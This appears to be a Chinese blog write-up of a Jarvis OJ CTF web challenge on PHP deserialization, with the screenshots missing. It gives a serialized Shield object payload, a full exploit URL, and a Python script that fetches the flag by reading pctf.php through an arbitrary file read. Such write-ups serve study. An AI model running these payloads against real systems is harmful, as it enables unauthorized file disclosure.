jarvis oj 中的反序列化

jarvis oj 中的反序列化

收集信息:

image.png
發現是張圖片,如果沒有表明是個misc題目的話,這張圖片顯然是base64文件流讀出來的,新標籤看一下:
image.png         顯然,這是個bsae64文件讀出來的,上面 "img ="給我我們提示,顯然是個任意文件讀,那麼我們把它所有必要文件都讀出來: index.php shield.php    showimg.php
index.php:
image.png


shield.php:
image.png
showimg:
image.png
仔細觀察,showimg除了用來讀出他們其他沒啥作用,至於過濾都是爲了防護惡意破壞。可以看到本題是個反序列化的問題;

payload構造

最近在鍛鍊用python來寫payload,所以本題也就用python寫個payload,其實直接輸入:

payload:    class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 即可

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
然後查看源碼就可以了:
image.png
這裏python payload這麼寫:

import requests
import re
payload = "/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}"
p = requests.get('http://web.jarvisoj.com:32768/index.php'+payload)
t = p.text
flag = re.findall('Flag.+',t)
print(flag)

image.png

題目重點在於反序列化的使用:

一個對象中的序列化傳入:
O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}
1.O:對象,都寫入O意爲 Object
2.每個類型傳入或者數字之後都要加上" : "
3.第二個是對象名的字符個數:6
4.下一個是對象名:Shield
5.下個是傳入的變量個數:1
6.寫變量時爲了區分要加上:{}
7.第一個是變量名的類型:S 意爲"String"
8.接着是變量名長度:4
9.變量名:"file"
10.之後就重複變量名這一套寫入變量值。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章